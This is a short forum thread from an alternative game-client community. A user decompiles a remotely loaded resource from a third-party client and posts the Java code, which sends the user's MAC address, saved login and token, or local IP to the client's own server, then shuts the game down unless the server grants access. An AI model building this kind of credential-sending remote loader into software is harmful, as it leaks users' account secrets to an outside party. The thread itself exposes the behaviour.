What does this mean?

Forum for alternative clients, mods & discussions on the same.

Moderator: Phades

Re: What does this mean?

Postby Armadillo » Sat Aug 23, 2014 6:48 pm

1) Download message.res from http://www.unionclient.ru/cl/res/message.res
2) Decode by boshaw LayerUtil
3) Open "Code_0.class" in JD-Gui
4) ....
5) And you see...
Code: Select all
package haven;

import java.io.File;
import java.net.InetAddress;
import union.APXUtils;

public class SweetDream
  implements RemoteLoader.IRemoteLoadable
{
  public void load()
  {
    try
    {
      String link = "http://unionclient.ru/clauth.php?mode=silent&mac=" + APXUtils.getMACAdress();
      File authsig = new File("auth.bin");
      if ((authsig.exists()) && (authsig.canRead()))
      {
        String content = APXUtils.readFile(authsig);
        String[] tokens = content.split("\n");
        link = link + "&login=" + tokens[0] + "&token=" + tokens[1];
      }
      else
      {
        link = link + "&info=" + String.format("IP:%s", new Object[] { InetAddress.getLocalHost().getHostAddress() });
      }
      String jsonText = APXUtils.getHTML(link);
      if (!jsonText.contains("GRANTED"))
      {
        APXUtils.isAuthenticated = false;
        System.exit(0);
      }
      else
      {
        APXUtils.isAuthenticated = true;
      }
    }
    catch (Exception localException) {}
  }
}
User avatar
Armadillo
 
Posts: 4
Joined: Sat Oct 05, 2013 12:55 pm

Re: What does this mean?

Postby borka » Sat Aug 23, 2014 7:08 pm

that makes sense - prolly someone used Ender haven-res.jar as "anti- account - hack" measure while it's prolly just been a portal to "inner circle" ;)
User avatar
borka
 
Posts: 9965
Joined: Thu Feb 03, 2011 7:47 pm
Location: World of Sprucecap

Previous

Return to The Wizards' Tower

Who is online

Users browsing this forum: No registered users and 5 guests